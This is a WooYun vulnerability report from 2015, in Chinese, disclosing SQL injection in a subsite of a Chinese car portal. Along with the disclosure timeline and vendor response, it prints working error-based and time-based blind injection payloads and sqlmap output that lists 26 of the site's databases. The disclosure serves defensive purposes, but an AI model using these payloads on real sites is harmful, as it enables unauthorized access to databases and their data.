当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0136875

漏洞标题:华夏汽车网某分站SQL注入一枚

相关厂商:北京华夏全网信息技术有限公司

漏洞作者: 路人甲

提交时间:2015-08-27 22:05

修复时间:2015-10-14 07:36

公开时间:2015-10-14 07:36

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-27: 细节已通知厂商并且等待厂商处理中
2015-08-30: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-09-09: 细节向核心白帽子及相关领域专家公开
2015-09-19: 细节向普通白帽子公开
2015-09-29: 细节向实习白帽子公开
2015-10-14: 细节向公众公开

简要描述:

华夏汽车网全网数据沦陷

详细说明:

http://**.**.**.**/index.php?a=tuanche&group_id=79&cs_id=61 (GET)

漏洞证明:

Place: GET
Parameter: city_linkageid
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: m=sgroup&c=index&a=City_lists&city_linkageid=3 AND (SELECT 4254 FROM(SELECT COUNT(*),CONCAT(0x7174776e71,(SELECT (CASE WHEN (4254=4254) THEN 1 ELSE 0 END)),0x7169756371,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: m=sgroup&c=index&a=City_lists&city_linkageid=3 AND SLEEP(5)
---
web application technology: Nginx, PHP 5.2.17
back-end DBMS: MySQL 5.0
available databases [26]:
[*] cars_buy_sinocars_com2
[*] buy_sinocars_com
[*] cars_buy_sinocars_com
[*] cars_buy_sinocars_com1
[*] cars_cztg_com_cn
[*] cars_qcjc_com_cn
[*] cars_qunamaiche_com
[*] cars_sinobuycar
[*] cms_test
[*] djpx
[*] djpx_com_cn
[*] djpx_com_cn_20150711
[*] djpx_com_cn_20150723
[*] djpx_com_cn_20150724
[*] information_schema
[*] mysql
[*] sinocars
[*] sinocars_bbs
[*] sinocars_cms
[*] sinocars_cms_20150121
[*] sinocars_mall
[*] sinocars_uc
[*] sl
[*] test
[*] wdcpdb
[*] zabbix


x1.jpg


x60.jpg


修复方案:

参数过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-08-30 07:34

厂商回复:

CNVD确认并复现所述情况,已由CNVD通过网站管理方公开联系渠道向其邮件通报,由其后续提供解决方案。

最新状态:

暂无